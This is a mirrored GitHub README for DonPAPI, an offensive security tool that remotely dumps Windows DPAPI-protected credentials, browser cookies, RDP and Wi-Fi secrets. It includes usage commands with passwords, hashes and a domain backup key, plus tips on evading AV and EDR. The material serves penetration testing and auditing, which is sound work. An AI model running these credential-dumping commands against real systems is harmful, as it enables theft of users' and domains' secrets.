mirror of https://github.com/login-securite/DonPAPI synced 2024-12-17 20:55:15 +00:00

Dumping DPAPI credz remotely

Go to file

Login Securite c261b6b757 Merge pull request #5 from Hackndo/main Package DonPAPI		2021-10-01 16:43:32 +02:00
DonPAPI	Remove unused parameters	2021-09-30 23:48:07 +02:00
.gitignore	Packaging	2021-09-30 23:21:08 +02:00
readme.md	Fix README and add install doc	2021-09-30 23:41:30 +02:00
requirements.txt	Packaging	2021-09-30 23:21:08 +02:00
setup.py	Packaging	2021-09-30 23:21:08 +02:00

readme.md

DonPAPI

Dumping relevant information on compromised targets without AV detection

Installation

From source

git clone https://github.com/login-securite/DonPAPI.git
cd DonPAPI
python setup.py install
DonPAPI -h

From pip

pip install DonPAPI

DPAPI dumping

Lots of credentials are protected by DPAPI.

We aim at locating those "secured" credentials, and retrieve them using :

User password
Domain DPAPI BackupKey
Local machine DPAPI Key (protecting TaskScheduled blob)

Current gathered info

Windows credentials (Scheduled Tasks credentials & a lot more)
Windows Vaults
Windows RDP credentials
AdConnect (still require a manual operation)
Wi-Fi key
Internet Explorer credentials
Chrome cookies & credentials
Firefox cookies & credentials
VNC passwords
mRemoteNG password (with default config)

Check for a bit of compliance

SMB signing status
OS/Domain/Hostname/Ip of the audited scope

Operational use

With local admin account on a host, we can :

Gather machine protected DPAPI secrets
- ScheduledTask that will contain clear text login/password of the account configured to run the task
- Wi-Fi passwords
Extract masterkeys hash value for every user profiles (masterkeys being protected by the user's password, let's try to crack them with Hashcat)
Identify who is connected from where, in order to identify admin personal computers.
Extract other non-dpapi protected secrets (VNC/Firefox/mRemoteNG)
Gather protected secrets from IE, Chrome, Firefox and start reaching the Azure tenant.

With a user password, or the domain PVK we can unprotect the user's DPAPI secrets.

Examples

Dump all secrets of the target machine with an admin account :

DonPAPI domain/user:passw0rd@target

Using user's hash

DonPAPI --hashes <LM>:<NT> domain/user@target

Using kerberos (-k) and local auth (-local_auth)

DonPAPI -k domain/user@target
DonPAPI -local_auth user@target

Using a user with LAPS password reading rights

DonPAPI -laps domain/user:passw0rd@target

It is also possible to provide the tool with a list of credentials that will be tested on the target. DonPAPI will try to use them to decipher masterkeys.

This credential file must have the following syntax:

user1:pass1
user2:pass2
...

DonPAPI -credz credz_file.txt domain/user:passw0rd@target

When a domain admin user is available, it is possible to dump the domain backup key using impacket dpapi.py tool.

dpapi.py backupkey --export

This backup key can then be used to dump all domain user's secrets!

python DonPAPI -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list

Target can be an IP, IP range, CIDR, file containing list targets (one per line)

Opsec consideration

The RemoteOps part can be spotted by some EDR. It can be disabled using --no_remoteops flag, but then the machine DPAPI key won't be retrieved, and scheduled task credentials/Wi-Fi passwords won't be harvested.

Credits

All the credits goes to these great guys for doing the hard research & coding :

Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented, <3 your code)
Alberto Solino (@agsolino) for the tremendous work of Impacket (https://github.com/SecureAuthCorp/impacket). Almost everything we do here comes from impacket.
Alesandro Z & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur.
dirkjanm @_dirkjan for the base code of ADConnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. I learned so much on so many subjects thanks to you. <3
@byt3bl33d3r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec )
All the Team at @LoginSecurite for their help in debugging my shitty code (special thanks to @layno & @HackAndDo for that)

Todo

Finish ADSync/ADConnect password extraction
CREDHISTORY full extraction
Extract windows Certificates
Further analysis ADAL/msteams
Implement Chrome <v80 decoder
Find a way to implement Lazagne's great modules

Changelog

v1.0
----
Initial release